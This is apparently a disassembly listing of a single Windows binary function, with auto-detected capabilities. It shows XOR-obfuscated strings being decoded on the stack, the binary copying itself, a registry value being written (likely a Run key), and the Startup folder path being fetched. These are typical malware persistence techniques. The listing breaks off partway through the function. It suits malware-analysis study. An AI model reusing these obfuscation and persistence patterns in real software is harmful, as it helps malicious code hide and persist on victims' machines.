Function at 0x42c490
Capabilities:
Copy file
Create process on windows
Create shortcut via ishelllink
Get common file path
Get session user name
Get startup folder
Write file to startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xffffffe0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x547b3d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xbe8
push esi
push edi
mov dword [ebp - 0x2c], 0
lea edx, [ebp - 0x220]
mov dword [ebp - 0x28], 0x6588b079
mov dword [ebp - 0x24], 0x8a25a3cd
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x28], 0x766a2f36
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x220]
mov dword [ebp - 0x3d4], ecx
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x3d8], eax
pxor xmm1, xmmword [ebp - 0x3e0]
push 0x58abbc
movaps xmmword [ebp - 0x220], xmm1
call fcn.004b0280
add esp, 4
mov dword [ebp - 4], 0
lea edx, [ebp - 0x230]
mov dword [ebp - 0x28], 0x768aa57a
mov dword [ebp - 0x24], 0x882fa8c0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x28], 0x27b2f28
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3ec], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0x3e4], ecx
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0x3e8], eax
pxor xmm1, xmmword [ebp - 0x3f0]
push 0x58abbc
movaps xmmword [ebp - 0x230], xmm1
call fcn.004b0280
add esp, 4
mov byte [ebp - 4], 1
mov dword [ebp - 0x28], 0x74ba907c
mov dword [ebp - 0x24], 0x83348ac5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x28], 0x76184a34
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x244], ecx
lea edx, [ebp - 0x250]
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x250]
mov dword [ebp - 0x3f4], ecx
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x3f8], eax
pxor xmm1, xmmword [ebp - 0x400]
push 0x58abbc
movaps xmmword [ebp - 0x250], xmm1
call fcn.004b0280
add esp, 4
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1f0]
call fcn.0042c0d0
mov byte [ebp - 4], 3
mov dword [ebp - 0x28], 0x45ac9a79
mov dword [ebp - 0x24], 0xb610aaed
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x28], 0x374c0b02
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x260]
mov dword [ebp - 0x408], eax
lea eax, [ebp - 0x260]
mov dword [ebp - 0x404], ecx
pxor xmm1, xmmword [ebp - 0x410]
push eax
movaps xmmword [ebp - 0x260], xmm1
call fcn.0052d011
mov edx, eax
add esp, 4
mov edi, closesocket
test edx, edx
je 0x42ce4e
mov ecx, edx
mov dword [ebp - 0x54], 0
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0
movups xmmword [ebp - 0x64], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c7c4
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x64]
call fcn.00410090
mov byte [ebp - 4], 4
mov dword [ebp - 0x28], 0x4efd569
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x414], ecx
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x418], eax
lea edx, [ecx + 1]
pxor xmm1, xmmword [ebp - 0x420]
movaps xmmword [ebp - 0x110], xmm1
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c880
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.004ae3b0
cmp dword [ebp - 0xec], 0x10
lea eax, [ebp - 0x100]
push dword [ebp - 0xf0]
cmovae eax, dword [ebp - 0x100]
lea ecx, [ebp - 0x64]
push eax
call fcn.004ae3b0
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0x64]
cmovae ecx, dword [ebp - 0x64]
call fcn.0041a220
test al, al
jne 0x42c8e0
lea ecx, [ebp - 0x64]
call fcn.0042bf00
test al, al
je 0x42ce04
mov dword [ebp - 0x28], 0x6197b01b
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x42c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x270]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], ecx
pxor xmm1, xmmword [ebp - 0x430]
movaps xmmword [ebp - 0x270], xmm1
mov dword [ebp - 0x28], 0x4efd569
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x43c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x120]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], ecx
pxor xmm1, xmmword [ebp - 0x440]
movaps xmmword [ebp - 0x120], xmm1
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x120]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42ca20
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x54]
sub eax, edx
cmp eax, ecx
jb 0x42ea93
cmp dword [ebp - 0x50], 0x10
lea eax, [ebp - 0x64]
push ecx
cmovae eax, dword [ebp - 0x64]
lea ecx, [ebp - 0x120]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x70]
lea ecx, [ebp - 0x6f0]
call fcn.004b41d0
mov dword [ebp - 0x2c], 8
mov byte [ebp - 4], 6
lea eax, [ebp - 0x100]
cmp dword [ebp - 0xec], 0x10
lea ecx, [ebp - 0x6f0]
push dword [ebp - 0xf0]
cmovae eax, dword [ebp - 0x100]
push eax
call fcn.004ae3b0
mov dword [ebp - 0x180], 0
lea edx, [ebp - 0x190]
mov dword [ebp - 0x17c], 0
lea ecx, [ebp - 0x308]
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0xc
movups xmmword [ebp - 0x190], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x190], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x180], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x270]
push eax
call fcn.004b01e0
add esp, 4
mov byte [ebp - 4], 7
mov esi, 0xc
mov dword [ebp - 0x2c], esi
and esi, 0xfffffffb
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x17c]
cmp ecx, 0x10
jb 0x42cb45
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42cb3b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42ea98
push ecx
push edx
call fcn.005083b1
add esp, 8
and esi, 0xfffffff7
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0xf
mov byte [ebp - 0x190], 0
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x6f0]
call fcn.0040fe10
sub esp, 0x18
lea eax, [ebp - 0x308]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 9
call fcn.0041a120
add esp, 0x18
test al, al
jne 0x42cdf5
cmp dword [ebp - 0x2f4], 0x10
lea ecx, [ebp - 0x308]
push 0
cmovae ecx, dword [ebp - 0x308]
lea eax, [ebp - 0x1f0]
cmp dword [ebp - 0x1dc], 0x10
push ecx
cmovae eax, dword [ebp - 0x1f0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x42cdf5
mov dword [ebp - 0x28], 0x7089ba66
mov dword [ebp - 0x24], 0x83328ad6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x65c], ecx
mov dword [ebp - 0x28], 0x1571071a
mov dword [ebp - 0x24], 0x9a5c6342
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], ecx
mov dword [ebp - 0x28], 0x18e3df61
mov dword [ebp - 0x24], 0x8a13863e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], ecx
mov dword [ebp - 0x28], 0x2535f49f
mov dword [ebp - 0x24], 0xb0d4e99b
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], ecx
mov dword [ebp - 0x28], 0xdf301a17
mov dword [ebp - 0x24], 0x8d39581f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], ecx
mov dword [ebp - 0x28], 0xbd4f4924
mov dword [ebp - 0x24], 0xe38070a2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], ecx
mov dword [ebp - 0x28], 0xba666e79
mov dword [ebp - 0x24], 0xe2502b6d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x57c], ecx
mov dword [ebp - 0x28], 0xc81d154a
mov dword [ebp - 0x24], 0xe38070cc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x660]
vpxor ymm0, ymm0, ymmword [ebp - 0x5a0]
mov dword [ebp - 0x578], eax
lea eax, [ebp - 0x68]
mov dword [ebp - 0x574], ecx
vmovdqa ymmword [ebp - 0x660], ymm0
vmovaps xmm1, xmmword [ebp - 0x640]
vpxor xmm1, xmm1, xmmword [ebp - 0x580]
push eax
vmovaps xmmword [ebp - 0x640], xmm1
push 0x20006
push 0
lea eax, [ebp - 0x660]
push eax
push connect
vzeroupper
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x42cdf5
push dword [ebp - 0x2f8]
cmp dword [ebp - 0x2f4], 0x10
lea ecx, [ebp - 0x308]
lea eax, [ebp - 0x100]
cmovae ecx, dword [ebp - 0x308]
cmp dword [ebp - 0xec], 0x10
push ecx
cmovae eax, dword [ebp - 0x100]
push 1
push 0
push eax
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x308]
call fcn.0040fe10
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x42ce3c
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ce32
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42ea9d
push ecx
push edx
call fcn.005083b1
add esp, 8
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
mov dword [ebp - 0x28], 0x54a29061
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x280]
mov dword [ebp - 0x448], eax
lea eax, [ebp - 0x280]
mov dword [ebp - 0x444], ecx
pxor xmm1, xmmword [ebp - 0x450]
push eax
movaps xmmword [ebp - 0x280], xmm1
call fcn.0052d011
mov edx, eax
add esp, 4
test edx, edx
je 0x42d761
mov ecx, edx
mov dword [ebp - 0xa8], 0
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb8], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42cf20
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xb8]
call fcn.00410090
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x28], 0x4efd569
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x514], ecx
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x518], eax
lea edx, [ecx + 1]
pxor xmm1, xmmword [ebp - 0x520]
movaps xmmword [ebp - 0x130], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42cfe0
sub ecx, edx
lea eax, [ebp - 0x130]
push ecx
push eax
lea ecx, [ebp - 0xb8]
call fcn.004ae3b0
cmp dword [ebp - 0xd4], 0x10
lea eax, [ebp - 0xe8]
push dword [ebp - 0xd8]
cmovae eax, dword [ebp - 0xe8]
lea ecx, [ebp - 0xb8]
push eax
call fcn.004ae3b0
cmp dword [ebp - 0xa4], 0x10
lea ecx, [ebp - 0xb8]
cmovae ecx, dword [ebp - 0xb8]
call fcn.0041a220
test al, al
jne 0x42d0a7
cmp dword [ebp - 0xa4], 0x10
lea edx, [ebp - 0xb8]
xorps xmm0, xmm0
mov dword [ebp - 0x680], 0
cmovae edx, dword [ebp - 0xb8]
mov ecx, edx
mov dword [ebp - 0x67c], 0
movups xmmword [ebp - 0x690], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d076
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x690]
call fcn.00410090
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x690]
or dword [ebp - 0x2c], 1
call fcn.0042bf00
mov byte [ebp - 0x2d], 0
test al, al
je 0x42d0ab
mov byte [ebp - 0x2d], 1
mov dword [ebp - 4], 0xb
mov eax, dword [ebp - 0x2c]
test al, 1
je 0x42d0ca
and eax, 0xfffffffe
lea ecx, [ebp - 0x690]
mov dword [ebp - 0x2c], eax
call fcn.0040fe10
cmp byte [ebp - 0x2d], 0
je 0x42d752
mov dword [ebp - 0x28], 0x6197b01b
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x45c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2e0]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
pxor xmm1, xmmword [ebp - 0x460]
movaps xmmword [ebp - 0x2e0], xmm1
mov dword [ebp - 0x28], 0x4efd569
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x46c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x140]
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x464], ecx
pxor xmm1, xmmword [ebp - 0x470]
movaps xmmword [ebp - 0x140], xmm1
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x140]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d210
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0xa8]
sub eax, edx
cmp eax, ecx
jb 0x42eaa2
cmp dword [ebp - 0xa4], 0x10
lea eax, [ebp - 0xb8]
push ecx
cmovae eax, dword [ebp - 0xb8]
lea ecx, [ebp - 0x140]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x708]
call fcn.004b41d0
mov esi, dword [ebp - 0x2c]
or esi, 0x10
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0xe8]
cmp dword [ebp - 0xd4], 0x10
lea ecx, [ebp - 0x708]
push dword [ebp - 0xd8]
cmovae eax, dword [ebp - 0xe8]
push eax
call fcn.004ae3b0
mov dword [ebp - 0x198], 0
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x194], 0
lea ecx, [ebp - 0x338]
xorps xmm0, xmm0
or esi, 0x20
movups xmmword [ebp - 0x1a8], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1a8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x198], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2e0]
push eax
mov dword [ebp - 0x2c], esi
call fcn.004b01e0
add esp, 4
mov byte [ebp - 4], 0xf
and esi, 0xffffffdf
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x194]
cmp ecx, 0x10
jb 0x42d33a
mov edx, dword [ebp - 0x1a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42d330
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eaa7
push ecx
push edx
call fcn.005083b1
add esp, 8
and esi, 0xffffffef
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x194], 0xf
mov byte [ebp - 0x1a8], 0
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x708]
call fcn.0040fe10
sub esp, 0x18
lea eax, [ebp - 0x338]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x11
call fcn.0041a120
add esp, 0x18
test al, al
jne 0x42d3cc
cmp dword [ebp - 0x324], 0x10
lea ecx, [ebp - 0x338]
push 0
cmovae ecx, dword [ebp - 0x338]
lea eax, [ebp - 0x1f0]
cmp dword [ebp - 0x1dc], 0x10
push ecx
cmovae eax, dword [ebp - 0x1f0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x42d743
lea eax, [ebp - 0x9f0]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x42d743
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
lea ecx, [ebp - 0x9f0]
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xd0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d410
sub ecx, edx
lea eax, [ebp - 0x9f0]
push ecx
push eax
lea ecx, [ebp - 0xd0]
call fcn.00410090
mov byte [ebp - 4], 0x13
lea edx, [ebp - 0x290]
mov dword [ebp - 0x28], 0x6f81b91b
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov dword [ebp - 0x490], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x48c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2a0]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], ecx
pxor xmm1, xmmword [ebp - 0x490]
movaps xmmword [ebp - 0x2a0], xmm1
mov dword [ebp - 0x28], 0x4efd569
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x290]
mov dword [ebp - 0x498], eax
lea eax, [ebp - 0xe8]
mov dword [ebp - 0x494], ecx
lea ecx, [ebp - 0x750]
pxor xmm1, xmmword [ebp - 0x4a0]
push eax
movaps xmmword [ebp - 0x290], xmm1
call fcn.004b0280
add esp, 4
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2a0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x738]
call fcn.004b01e0
add esp, 4
mov byte [ebp - 4], 0x15
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x42d5a1
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xd0]
call fcn.004ae3b0
